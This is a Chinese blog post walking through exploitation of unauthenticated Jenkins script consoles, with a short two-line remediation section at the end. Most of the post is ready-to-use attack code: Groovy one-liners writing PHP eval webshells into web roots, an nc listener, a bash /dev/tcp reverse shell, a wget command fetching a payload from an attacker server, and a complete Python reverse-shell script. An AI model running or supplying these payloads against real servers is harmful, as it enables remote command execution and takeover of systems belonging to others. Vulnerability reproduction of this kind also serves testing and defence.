jenkins未授权访问

一、漏洞描述

    未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。

二、漏洞复现

    漏洞环境为XXXX的环境。

 

 

 

 

 

 

 

 我们直接来执行脚本这个地方先试试执行命令。

 

 可以看到成功执行,再来试试,上传一个木马:

 

windows:  new File("D:\\phpstudy_pro\\WWW\\test.php").write('<?php @eval($_POST[cmd]);?>');

lnux:  new File("/var/www/html/test.php").write('<?php @eval($_POST[cmd]);?>');

 

这里为lnux

 

 

 可以看到权限不允许。直接来一波反弹shell

vps上执行 

nc -Lvp 8089

 

jenkins命令行执行 

println 'bash -i >& /dev/tcp/127.0.0.1/8089 0>&1'.execute().text

 

 

 

 

 

发现反弹失败。这时候莫慌,我们的写一个正向连接的脚本2.py,然后放在vps上,开一个python服务,用weget把我们的脚本放在一个可执行的目录下,这里我们选择/tmp下,然后去执行我们的脚本,让他连接我们的nc。

 

 

然后去执行

println 'wget http://127.0.0.1:8081/2.py -P /tmp/'.execute().text

 其中2.py内容为:

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",8089));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

 

 

 

这里是没有回显的,我们直接去看下有没有下载上,

执行:

println 'cat /tmp/2.py'.execute().text 

 

 

 接下来执行这个脚本,就可以获取shell了。

 

 

 

三、漏洞修复

1、禁止把Jenkins直接暴露在公网

2、添加认证,设置强密码复杂度及账号锁定。

posted @ 2021-08-02 15:03  我有清茶与酒  阅读(429)  评论(0编辑  收藏  举报